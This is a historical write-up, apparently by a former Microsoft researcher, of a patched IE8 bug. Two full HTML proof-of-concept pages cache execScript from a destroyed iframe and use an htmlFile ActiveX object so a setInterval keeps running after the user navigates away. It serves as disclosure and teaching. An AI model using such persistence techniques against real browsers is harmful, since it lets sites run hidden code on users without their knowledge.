This was a variation of the resident script technique adapted for IE8, where the previous iframe-based approaches had been patched. After playing around for a while, I found that you could cache the execScript method from an iframe before it was destroyed, then use that cached reference — from inside an htmlFile ActiveX object — to create a setInterval that would keep running even after the main page navigated away.

<!-- index.html: the main page -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>WinOOB_1004580_IE8var_Resident_Cached_execScript</title></head>
<body>
<center>
<font face="Tahoma" size="2">
<h2>WinOOB_1004580_IE8var_Resident_Cached_execScript</h2>
</center>

1) Copy [Cache] the execScript method from an IFRAME in a new window. Reload the page.<br />
<font color="blue">	window.winCache = window.open("make_it_resident.html","WIN_CACHE","top=0,left=0,width=100,height=100");</font><br /><br />
That last statement <b>will open a new window with this code inside</b>:<br /><br />


<font color="green">// copy the execScript that belongs to the IFRAME of the mainPage.</font><br />
<font color="blue">opener.ifr.execScript('window.onunload = function(){top.winCache.cachedExecScript = window.execScript}');</font><br /><br />

<font color="green">// Reload the main page so the IFRAME is destroyed.</font><br />
<font color="blue">opener.location.reload();</font><br /><br /><br />


2) After reloading, use [cached] the execScript to create an htmlFile.<br /><br />

	<font color="blue">cachedExecScript('htmlDoc = new ActiveXObject("htmlFile")');<br />
	cachedExecScript('htmlDoc.parentWindow.setInterval("alert(\'I am resident...\')",4000)');<br /><br /></font>
	<font color="green">// Change the location of the main window.</font><br />
	<font color="blue">opener.location.href = 'http://www.google.com';</font><br /><br />

	<font color="green">// Close the opened window.</font><br />
	<font color="blue">window.close();</font><br /><br /><br />

</font>
<iframe name="ifr" src="" width="20" height="20"></iframe>
<input type="button" onclick="cacheAndReload()" value="Run!">

<script language="JavaScript">

function cacheAndReload()
{
	window.winCache = window.open("make_it_resident.html","WIN_CACHE","top=0,left=0,width=100,height=100");
	focus();
}

</script>
</body>
</html>
<!-- make_it_resident.html: opened in a tiny pop-up window -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Resident_Cached_execScript</title></head>
<body>
<script language="JavaScript">
opener.ifr.execScript('window.onunload = function(){top.winCache.cachedExecScript = window.execScript}');
opener.location.reload();

function timedOut()
{
	cachedExecScript('htmlDoc = new ActiveXObject("htmlFile")');
	cachedExecScript('htmlDoc.parentWindow.setInterval("alert(\'I am resident...\')",4000)');
	opener.location.href = 'http://www.google.com';
	window.close();
}

setTimeout("timedOut()",500);
</script>
</body>
</html>

The sequence is: open a tiny helper window → that window uses execScript on the main page’s iframe to set up an onunload handler that stashes execScript into winCache.cachedExecScript → reload the main page (destroying the iframe) → half a second later, call cachedExecScript to create an htmlFile ActiveX object and start a setInterval inside it → navigate the main page to google.com and close the helper window. The setInterval in the htmlFile object is now effectively orphaned from any browser window but keeps running, firing every four seconds indefinitely.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.